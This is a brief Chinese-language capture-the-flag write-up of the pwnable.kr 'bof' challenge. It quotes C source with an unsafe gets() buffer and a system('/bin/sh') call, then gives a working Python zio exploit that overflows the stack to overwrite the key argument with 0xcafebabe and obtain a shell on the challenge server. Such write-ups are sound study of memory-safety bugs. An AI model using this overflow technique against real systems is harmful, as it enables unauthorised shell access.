pwnable bof，pwnable

pwnable bof，pwnable

http://www.pwnable.kr/play.php

題目提供了二進位檔案和源碼，查看源碼：

#include <stdio.h>#include <string.h>#include <stdlib.h>void func(int key){    char overflowme[32];    printf("overflow me : ");    gets(overflowme);    // smash me!    if(key == 0xcafebabe){        system("/bin/sh");    }    else{        printf("Nah..\n");    }}int main(int argc, char* argv[]){    func(0xdeadbeef);    return 0;}

提供給系統許可權的條件是key的值為0xcafebabe，key是函數func的參數。overfolwme數組被gets之後可以溢出。

觀察函數s也就是buf在ebp上0x2c處，那麼我們只需要溢出0x2c+8個位元組就可以覆蓋到第一個參數的位置，然後覆蓋為cafebabe即可：

from zio import *def exp(target):    io=zio(target)    io.writeline("1"*(0x2c+8)+l32(0xcafebabe))    io.interact()target=("pwnable.kr",9000)exp(target)